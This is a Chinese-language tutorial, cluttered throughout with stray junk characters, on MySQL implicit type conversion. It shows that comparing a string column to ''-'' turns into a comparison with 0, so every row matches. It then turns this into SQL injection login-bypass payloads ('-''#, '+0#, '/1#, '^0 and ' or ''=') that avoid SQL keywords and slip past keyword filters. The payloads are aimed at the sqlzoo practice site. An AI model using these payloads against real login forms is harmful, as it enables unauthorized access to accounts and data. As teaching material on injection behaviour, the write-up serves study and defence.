我们先来看这样一个场景。; b) {; }4 y; Y0 ?, I
有以下表结构:
) [: P& G4 z: L+ w% [0 z5 _6 i0 I, N
+ f. O3 P/ }2 z6 P2 umysql> desc admin;) D& b4 j7 h- {' s( i
+----------+--------------+------+-----+---------+----------------+
0 q% k9 x7 O: f, y5 n9 k! Z+ w| Field | Type | Null | Key | Default | Extra |* b, h# m8 j' v
+----------+--------------+------+-----+---------+----------------+/ |! d n0 T' D2 ^4 k! B
| id | mediumint(9) | NO | PRI | NULL | auto_increment |; J: r, F" Q/ a* B/ ]1 V
| name | char(32) | NO | UNI | NULL | |" n" U. [" _1 r! r5 E2 k
| password | char(32) | NO | UNI | NULL | |; K1 ]; k8 G, a% {$ l0 r+ T
+----------+--------------+------+-----+---------+----------------+: g8 j* {1 B+ p; u; T+ Q2 O$ U
3 rows in set (0.00 sec)
+ l1 P5 Z. S; c& v7 @5 J7 n& Z. l, f. r: N5 q执行select * from admin;,成功返回所有记录内容。
1 P" |, a: N+ h) K
2 h: G* I; w% ?" q) G- _
9 x6 O( m' I8 E1 p0 K+----+--------+----------------------------------+! _$ x9 {# D7 I6 g* V4 U
| id | name | password |
/ r; [* H$ d" z# d+----+--------+----------------------------------+
4 T# s+ U1 U Q| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
. d' S% @. b4 `3 E| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |/ g9 G) _& k/ l3 P. U; [
| 4 | n00b | ff80e8508d39047460921792273533a4 |
& u* m) J& J+ g6 k1 \5 U* T9 o+----+--------+----------------------------------+
7 v8 U' e2 @/ } ~3 rows in set (0.00 sec)1 I6 y% T9 d# ~& y4 A- Z6 ?
执行select * from admin where name=”;,没有匹配到任何记录。
2 t# T9 S8 ]8 }. \8 s- F: i3 E; [7 K2 a6 _5 R3 [
mysql> select * from admin where name = '';6 [3 R' T! e7 v' `3 }2 D, O5 e
Empty set (0.00 sec)+ j! W4 Y% Q" m8 l% f
那么我们来执行select * from admin where name = ”-”;$ a. `6 |6 l3 m E/ h4 x$ k3 D
% M: _" S! l* p: [ Z# R- k7 Y3 H' I9 f8 \9 S, @/ a
+----+--------+----------------------------------+
; A; J5 g# @& L8 A$ W7 Z| id | name | password |
0 A* o, O5 [! q$ k. W+----+--------+----------------------------------++ y. D, q; [ X# h6 u6 v) P% _: a
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
* L V: t0 \9 p: I7 }| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |, J' \3 b! c9 `) c( m) i
| 4 | n00b | ff80e8508d39047460921792273533a4 |5 }! A6 }: @" F6 t0 w. q
+----+--------+----------------------------------+% v. P3 C0 u# B- R- W( S, J
3 rows in set, 3 warnings (0.00 sec)
# ?( m A' @2 N, d" Q' z1 A. E可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: ; G2 r* ?$ S0 c( J0 }
, P, [# _# Z) X# J* d& o: |) Ymysql> show warnings;
m" m$ z9 d `7 a d" }+---------+------+------------------------------------------! W1 I% V7 z4 }6 l
| Level | Code | Message
9 R# Y* r5 ^- r9 B: `+ [& I: B+---------+------+------------------------------------------
! R& I. V2 f7 e2 @" A| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin3 X/ x7 s- {( n! S. a' j
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
. w3 ^& L B# k1 { [; s| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
' D8 T* `6 W l/ u! R N1 z+---------+------+------------------------------------------% h2 z' t) v9 j, \2 ^( P
3 rows in set (0.00 sec)
3 a* ^' }+ \, z5 l; S" x提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
: c6 Z" H2 |! P1 g$ x7 i+ [
4 P: [3 u! a! gmysql> select ''-'';
! [. V1 n: x) _1 G+-------+
- x) N+ O4 A/ d! A- b2 D, M| ''-'' |$ l7 }2 Q c9 |/ S0 N
+-------+
" M+ f* c" n7 O2 ]2 v# H% y8 \| 0 |
3 N5 G& L. S4 p+-------+
# g1 P. e% H0 h1 row in set (0.00 sec)( N+ q1 T1 |9 K4 g9 M
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
8 x* P- Y' J( Q4 Q( E
6 }7 H0 {7 i+ ?mysql> select CAST((select name from admin limit 1,1) as DECIMAL);9 B0 W6 }1 ], _8 t( r! r
+-----------------------------------------------------+/ t! X$ G/ J' R
| CAST((select name from admin limit 1,1) as DECIMAL) |
/ b) C8 d+ R" T; G: i+-----------------------------------------------------+9 k6 b$ `3 M; S
| 0 |5 c! M$ L8 C6 ^; Y! Z: ?9 ]1 E
+-----------------------------------------------------++ }4 M: E4 x" T* ?( F
1 row in set, 1 warning (0.00 sec)
( h8 \( m' b) b因此where语句构成了相等的条件,where 0=”=”,记录被返回。
" p: r5 c. B7 n7 y
3 w3 J2 P+ [4 }: R& o+ mSQL注入场景: http://www.sqlzoo.net/hack/
2 ?' X0 s) U) j
$ S/ g1 y# G; }. |, v8 J5 M7 n! K, |9 b8 z9 Y6 G* K
: j: D5 @; m5 A$ X! u, R6 n1 r* E% [- }9 _
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 0 W/ e' Z e0 ?6 K
/ v- U" e8 a8 e: T- }' D/ e
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
$ M8 a# A8 N7 b
% D4 L1 H! m* C
* B# G( W+ K+ o' k) U/ r
0 E. a' K7 G3 d- y) S1 e
& f1 S8 W8 `) d j* J, P仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 . x, {8 P: ]7 _+ F! d% k
: I2 z) r1 f2 H: R, g
1 N4 t: t/ B* R7 |: X! u8 l# m% o, S6 U
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可, |" T. H$ t% I9 C
! u7 T& L$ O6 L# e0 [1 w
( ~6 j6 f x0 n6 Z* _# Z- t! tmysql> select ''/1;
& a0 S9 e8 E- F) z7 {+------+
) ^9 z4 |1 [6 K7 [6 L| ''/1 |3 [; f* o0 m( \
+------+/ m+ {0 L9 @6 d0 i8 L
| 0 |
" w, A" @* @ ^" O& m+------+
O+ j! J! J/ W1 row in set (0.00 sec)
, c; ]' J# x+ w$ P; u& }% n+ Y类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。
7 O' G+ `* V: t8 T0 l+ R( s2 k" j4 I
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。& q# h! z1 F% I! |
|
|